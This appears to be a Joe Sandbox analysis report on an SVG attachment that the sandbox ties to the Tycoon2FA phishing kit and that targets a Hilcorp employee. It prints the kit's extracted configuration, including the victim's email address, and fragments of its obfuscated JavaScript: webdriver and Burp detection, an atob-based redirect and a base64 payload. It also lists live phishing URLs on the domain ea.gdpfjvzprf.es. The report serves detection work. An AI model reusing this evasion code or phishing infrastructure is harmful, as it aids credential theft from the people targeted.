Edit tour

Windows Analysis Report
Hilcorp#receipt0191.svg

Overview

General Information

Sample name:	Hilcorp#receipt0191.svg
Analysis ID:	1649689
MD5:	66e130fad3ef88e43b34381efc795644
SHA1:	466b7d29d4ea58af65c5eae9287f49b1a5f0fb32
SHA256:	8f99bdfc4ed25614cd2b934564ada30f40f4e88dcc1a2ac520e1b2ce4d707515
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected suspicious Javascript

HTML page contains suspicious javascript code

Yara detected JavaScript embedded in SVG

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 7728 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 7912 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=1900,i,6571526316388144599,15156361422529282838,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2144 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 8176 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\Hilcorp#receipt0191.svg" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "otherweburl": "",
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "OcH3",
  "emailcheck": "bcarnes@hilcorp.com",
  "webname": "rtrim(/web9/, '/')",
  "urlo": "/wrLVLXA2M5D638BwlhMKDDoJO0v1pzxh18H7rfM6lHFqOhGk8j74744g"
}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Hilcorp#receipt0191.svg	JoeSecurity_JavaScriptembeddedinSVG	Yara detected JavaScript embedded in SVG	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_86	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
1.3.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.3.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.14..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.14..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.8.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.12.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.15..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.15..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.19.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
1.6.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.2.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.7..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
1.2.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.22..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
1.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
2.5.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.5.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
2.3.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.5.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.2.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
2.3.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.2.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.2.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 23 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 2.19.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"otherweburl": "", "websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "OcH3", "emailcheck": "bcarnes@hilcorp.com", "webname": "rtrim(/web9/, '/')", "urlo": "/wrLVLXA2M5D638BwlhMKDDoJO0v1pzxh18H7rfM6lHFqOhGk8j74744g"}

Phishing

AI detected phishing page

Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The URL 'ea.gdpfjvzprf.es' does not match the legitimate domain 'microsoft.com'., The domain 'gdpfjvzprf.es' appears to be unrelated to Microsoft and does not resemble any known Microsoft subdomains or services., The use of a '.es' domain extension is unusual for Microsoft, which typically uses '.com'., The URL contains random characters, which is a common tactic in phishing URLs to confuse users., The email domain 'hilcorp.com' in the input fields does not match the brand 'Microsoft', which could indicate a targeted phishing attempt. DOM: 2.2.pages.csv
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	Joe Sandbox AI: Score: 9 Reasons: The brand 'Hilcorp' is a known energy company, and its legitimate domain is 'hilcorp.com'., The URL 'ea.gdpfjvzprf.es' does not match the legitimate domain of Hilcorp., The domain 'gdpfjvzprf.es' appears to be random and does not relate to Hilcorp., The use of a '.es' domain extension is unusual for a US-based company like Hilcorp., The presence of a password input field on a suspicious domain increases the risk of phishing. DOM: 2.3.pages.csv
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	Joe Sandbox AI: Score: 9 Reasons: The brand 'Hilcorp' is a known energy company., The URL 'ea.gdpfjvzprf.es' does not match the legitimate domain 'hilcorp.com'., The domain 'gdpfjvzprf.es' appears to be random and does not relate to the brand 'Hilcorp'., The use of '.es' domain extension is unusual for a US-based company like Hilcorp., The presence of an input field for 'Enter password' on a suspicious domain is a common phishing tactic. DOM: 2.5.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 1.2.d.script.csv, type: HTML
Source: Yara match	File source: 1.7..script.csv, type: HTML
Source: Yara match	File source: 2.22..script.csv, type: HTML
Source: Yara match	File source: 1.0.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_86, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 2.19.d.script.csv, type: HTML
Source: Yara match	File source: 1.3.d.script.csv, type: HTML
Source: Yara match	File source: 2.14..script.csv, type: HTML
Source: Yara match	File source: 1.8.d.script.csv, type: HTML
Source: Yara match	File source: 1.12.d.script.csv, type: HTML
Source: Yara match	File source: 2.15..script.csv, type: HTML
Source: Yara match	File source: 1.6.d.script.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML
Source: Yara match	File source: 2.2.pages.csv, type: HTML

AI detected suspicious Javascript

Source: 2.14..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZV... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and aggressive DOM manipulation. It checks for the presence of web automation tools, redirects to a blank page, and intercepts various keyboard and mouse events to prevent common debugging and security actions. Additionally, it includes a setInterval loop that triggers a redirect to a suspicious domain after a short delay. Overall, this script exhibits a high degree of malicious intent and poses a significant security risk.
Source: 2.18..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZV... This script demonstrates several high-risk behaviors, including dynamic code execution via `eval()`, data exfiltration to potentially untrusted domains, and the use of obfuscated code/URLs. The script also exhibits moderate-risk behaviors such as external data transmission and the use of multiple fallback domains. While the script may have some legitimate functionality, the overall risk profile is high due to the presence of multiple malicious indicators.
Source: 1.11..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ea.gdpfjvzprf.es/2mhFMu/$YmNhcm5lc0BoaWxjb... This script demonstrates several high-risk behaviors, including dynamic code execution, potential data exfiltration, and suspicious redirection. The use of the `Function` constructor to execute a base64-encoded string, along with the presence of obfuscated code and a redirect to an unknown domain, indicates a high likelihood of malicious intent. Additionally, the script appears to be attempting to detect and bypass common security measures, such as webdriver detection and context menu prevention, further increasing the risk score.
Source: 2.15..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZV... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. It attempts to detect the presence of web automation tools, redirects to a suspicious domain, and implements keyboard and context menu event handlers to potentially disable security controls. Additionally, the script uses a custom decryption function to obfuscate its contents, further indicating malicious intent. Overall, this script demonstrates a high level of risk and should be treated with caution.
Source: 1.4..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ea.gdpfjvzprf.es/2mhFMu/$YmNhcm5lc0BoaWxjb... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated code/URLs. The script appears to be attempting to execute a malicious payload, likely for the purpose of phishing or stealing user data. The combination of these factors indicates a high-risk, potentially malicious script.
Source: 1.7..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ea.gdpfjvzprf.es/2mhFMu/$YmNhcm5lc0BoaWxjb... This script demonstrates high-risk behavior with the use of the `eval` function to execute dynamic code. The obfuscated string is decoded and then evaluated, which can lead to the execution of malicious code. Additionally, the script uses a `Proxy` object to intercept property access, further increasing the risk of unintended code execution. Overall, this script exhibits a high level of risk and should be thoroughly reviewed before execution.
Source: 2.22..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://ea.gdpfjvzprf.es/34kVI6yg6hoy72ifZuy9TAbmz... This script demonstrates several high-risk behaviors, including dynamic code execution using `eval()`, potential data exfiltration, and the use of heavily obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, and this script should be treated with extreme caution.

HTML page contains suspicious javascript code

Source: file:///C:/Users/user/Desktop/Hilcorp%23receipt0191.svg

HTTP Parser: window.location.href = atob(

Yara detected JavaScript embedded in SVG

Source: Yara match

File source: Hilcorp#receipt0191.svg, type: SAMPLE

Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF

HTTP Parser: Number of links: 0

Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://ea.gdpfjvzprf.es/2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ==

HTTP Parser: Base64 decoded: if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) { window.location = "about:blank";}document.addEventListener("keydown", function (event) { function cDwVminijy(event) { co...

Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF

HTTP Parser: Title: Account Access Securely does not match URL

Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: Invalid link: Terms of use
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: Invalid link: Privacy & cookies
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: Invalid link: Terms of use
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: Invalid link: Privacy & cookies
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: Invalid link: Terms of use
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: Invalid link: Privacy & cookies
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: Invalid link: Terms of use
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: Invalid link: Privacy & cookies

Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "och3";var emailcheck = "bcarnes@hilcorp.com";var webname = "rtrim(/web9/, '/')";var urlo = "/wrlvlxa2m5d638bwlhmkddojo0v1pzxh18h7rfm6lhfqohgk8j74744g";var gdf = "/ijovckfitu24xzikdmrzhow8bvsvnuvqahczp9kucf2ab115";var odf = "/ijcmojm9yytaafruvqkb0dmzgqtrhab650";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(useragent.match(/...
Source: https://ea.gdpfjvzprf.es/2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ==	HTTP Parser: function yutvgrqfcv(){edrfjhbdyr = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagpg1ldgegy2hhcnnldd0ivvrgltgipgogidxtzxrhig5hbwu9inzpzxdwb3j0iibjb250zw50psj3awr0ad1kzxzpy2utd2lkdggsigluaxrpywwtc2nhbgu9ms4wij4kica8dgl0bgu+vgvjacbtb2x1dglvbnmglsbjbm5vdmf0aw5nihrozsbgdxr1cmu8l3rpdgxlpgogidxzdhlszt4kicagigjvzhkgewogicagicbmb250lwzhbwlsetogqxjpywwsihnhbnmtc2vyawy7ciagicagigxpbmutagvpz2h0oiaxljy7ciagicagig1hcmdpbjogmdskicagicagcgfkzgluzzogmdskicagicagymfja2dyb3vuzc1jb2xvcjogi2y0zjrmndskicagicagy29sb3i6icmzmzm7ciagicb9ciagicbozwfkzxigewogicagicbiywnrz3jvdw5koiajmda1ytllowogicagicbjb2xvcjogi2zmzjskicagicagcgfkzgluzzogmjbwecawowogicagicb0zxh0lwfsawduoibjzw50zxi7ciagicb9ciagicbozwfkzxigadegewogicagicbtyxjnaw46ida7ciagicagigzvbnqtc2l6ztogmi41cmvtowogicagfqogicagbmf2ihskicagicagymfja2dyb3vuzdogizmzmzskicagicagy29sb3i6icnmzmy7ciagicagihbhzgrpbmc6idewchg7ciagicagihrlehqtywxpz246ignlbnrlcjskicagih0kicagig5hdibhihskicagicagy29sb3i6icnmzmy7ciagicagihrlehqtzgvjb3jhdglvbjogbm9uztskicagicagbwfyz2luoiawide1chg7c...

Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF

HTTP Parser: <input type="password" .../> found

Source: https://ea.gdpfjvzprf.es/2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ==	HTTP Parser: No favicon
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: No favicon
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: No favicon
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: No favicon
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: No favicon

Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: No <meta name="author".. found
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: No <meta name="author".. found
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: No <meta name="author".. found
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: No <meta name="author".. found

Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: No <meta name="copyright".. found
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: No <meta name="copyright".. found
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: No <meta name="copyright".. found
Source: https://ea.gdpfjvzprf.es/YNUOMNCHQEUAFBRQAQAFWESZVd0b8pgtloba18hylphe?ZJMWUEDZXFSGSLCHF	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.250.72.100:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.32.1:443 -> 192.168.2.4:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.29.234:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.149.248:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.4:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.4:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.4:49762 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.113.4:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.91:443 -> 192.168.2.4:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 18.164.124.110:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.4:49794 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.188:443 -> 192.168.2.4:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.42.188:443 -> 192.168.2.4:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.33:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.33:443 -> 192.168.2.4:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:49814 version: TLS 1.2

Source: Joe Sandbox View	IP Address: 140.82.113.4 140.82.113.4
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 151.101.130.137 151.101.130.137
Source: Joe Sandbox View	IP Address: 23.209.72.33 23.209.72.33
Source: Joe Sandbox View	IP Address: 172.67.149.248 172.67.149.248

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.65.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.65.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.65.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.65.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.65.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.65.163
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.65.163
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.65.163
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /2mhFMu/$YmNhcm5lc0BoaWxjb3JwLmNvbQ== HTTP/1.1Host: ea.gdpfjvzprf.esConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
